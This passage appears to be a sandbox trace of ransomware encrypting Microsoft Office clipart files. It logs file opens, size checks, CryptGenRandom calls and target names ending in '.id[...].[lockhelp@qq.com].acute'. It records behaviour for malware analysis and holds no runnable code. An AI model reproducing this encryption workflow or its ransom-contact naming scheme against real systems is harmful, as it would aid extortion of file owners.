Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0274.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.898] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.899] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=12520) returned 1 [0274.899] CloseHandle (hObject=0x30c) returned 1 [0274.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0274.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.899] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.900] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=9818) returned 1 [0274.900] CloseHandle (hObject=0x30c) returned 1 [0274.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0274.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.900] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.900] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=7862) returned 1 [0274.900] CloseHandle (hObject=0x30c) returned 1 [0274.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20 [0274.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.900] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.901] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1012) returned 1 [0274.901] CloseHandle (hObject=0x30c) returned 1 [0274.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0274.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.901] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.902] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=880) returned 1 [0274.902] CloseHandle (hObject=0x30c) returned 1 [0274.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20 [0274.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.902] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.902] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=10146) returned 1 [0274.902] CloseHandle (hObject=0x30c) returned 1 [0274.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 [0274.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.902] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.903] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1464) returned 1 [0274.903] CloseHandle (hObject=0x30c) returned 1 [0274.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0274.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.903] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.903] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1696) returned 1 [0274.903] CloseHandle (hObject=0x30c) returned 1 [0274.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0274.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.904] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.904] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1516) returned 1 [0274.904] CloseHandle (hObject=0x30c) returned 1 [0274.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0274.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.904] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.904] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3986) returned 1 [0274.904] CloseHandle (hObject=0x30c) returned 1 [0274.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0274.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.904] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.905] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=8070) returned 1 [0274.905] CloseHandle (hObject=0x30c) returned 1 [0274.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0274.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.906] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.906] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=9304) returned 1 [0274.906] CloseHandle (hObject=0x30c) returned 1 [0274.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0274.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.906] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.906] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4024) returned 1 [0274.906] CloseHandle (hObject=0x30c) returned 1 [0274.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0274.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.907] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.907] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=14444) returned 1 [0274.907] CloseHandle (hObject=0x30c) returned 1 [0274.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0274.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.907] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.907] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1536) returned 1 [0274.907] CloseHandle (hObject=0x30c) returned 1 [0274.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20 [0274.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.907] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.908] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4708) returned 1 [0274.908] CloseHandle (hObject=0x30c) returned 1 [0274.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0274.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.908] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.909] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1736) returned 1 [0274.909] CloseHandle (hObject=0x30c) returned 1 [0274.909] GetFileAttributesW 